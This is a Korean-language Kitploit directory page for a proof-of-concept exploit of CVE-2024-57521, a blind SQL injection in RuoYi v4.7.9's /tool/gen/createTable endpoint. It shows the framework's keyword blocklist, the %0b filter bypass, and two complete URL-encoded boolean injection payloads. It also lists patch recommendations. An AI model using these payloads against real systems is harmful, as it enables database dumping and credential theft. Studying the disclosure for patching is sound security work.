Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-57521-SQL-Injection-PoC — RuoYi v4.7.9에 대한 블라인드 SQL 인젝션 개념 증명 익스플로잇, CVE-2024-42900 필터를 우회하여 인증된 부울 기반 인젝션을 통해 데이터베이스를 덤프합니다. | Kitploit
도구/GitHubGitHub/mrlihd/cve-2024-57521-sql-injection-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHubmrlihd/cve-2024-57521-sql-injection-poc

CVE-2024-57521-SQL-Injection-PoC

RuoYi v4.7.9에 대한 블라인드 SQL 인젝션 개념 증명 익스플로잇, CVE-2024-42900 필터를 우회하여 인증된 부울 기반 인젝션을 통해 데이터베이스를 덤프합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
18개월 전아직 검토되지 않음

RuoYi v4.7.9에서 인증된 SQL 인젝션 (CVE-2024-42900 우회)

소개

RuoYi Framework v4.7.9의 createTable 기능에서 블라인드 SQL 인젝션 취약점을 발견했습니다. 이로 인해 인증된 관리자가 sql 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다. 이는 CVE-2024-42900 수정을 우회하는 것으로, filterKeyword 메서드의 SQL 인젝션 필터가 불충분하여 정규식을 공백 대신 %0b 문자를 사용하여 우회할 수 있습니다.

영향을 받는 버전

제품: RuoYi Framework
버전: ≤ 4.7.9
링크: [Ruoyi]

취약점 분석

취약점은 다음 파일에서 발견되었습니다: https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java. 애플리케이션은 SQL 인젝션 공격을 필터링하기 위해 블랙리스트 키워드에 의존하며, 이 접근 방식은 우회에 취약합니다. 이 경우 CVE-2024-42900을 수정하기 위해 /* 문자열이 블랙리스트에 추가되었지만, 애플리케이션이 여전히 %0b 문자를 차단하지 않으므로 select%0b를 사용하여 SQL 인젝션을 트리거할 수 있습니다.

root@kitploit:~
public class SqlUtil
{
    /**
     * 定义常用的 sql关键字
     */
    public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
    // Note the space after 'select '
    public static void filterKeyword(String value)
    {
        if (StringUtils.isEmpty(value))
        {
            return;
        }
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
        for (String sqlKeyword : sqlKeywords)
        {
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
            {
                throw new UtilException("参数存在SQL注入风险");
            }
        }
    }
}

정규식 select는 select (뒤에 공백)과 일치합니다. select%0b는 SQL에서 유효한 구분자이지만 일치하지 않습니다.

부울 기반 SQL 인젝션 재현 단계

  1. 관리자로 로그인
  2. createTable 요청 전송 (취약한 엔드포인트 /tool/gen/createTable)
    a. TRUE 쿼리 주입: true-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
    
    b. FALSE 쿼리 주입: false-query
    root@kitploit:~
    sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
    

주의: 성공적인 쿼리마다 CREATE 쿼리에서 테이블 이름을 변경해야 합니다. 3. 부울 기반 SQL 인젝션을 사용하여 이 저장소의 Python [poc]를 통해 데이터를 유출할 수 있습니다.
사용법
poc-usage
DB 버전 유출 PoC
poc-db-version

영향

관리자 권한을 가진 공격자는 다른 사용자 자격 증명 및 시스템 구성을 포함하여 전체 데이터베이스를 덤프할 수 있습니다.

권장 사항

  1. %0b 문자를 필터링하세요.
  2. select 대신 select 키워드를 필터링하세요 (끝 공백 제거)
  3. CMS를 Ruoyi CMS 4.8.0 버전으로 업데이트하세요.
도구 다운로드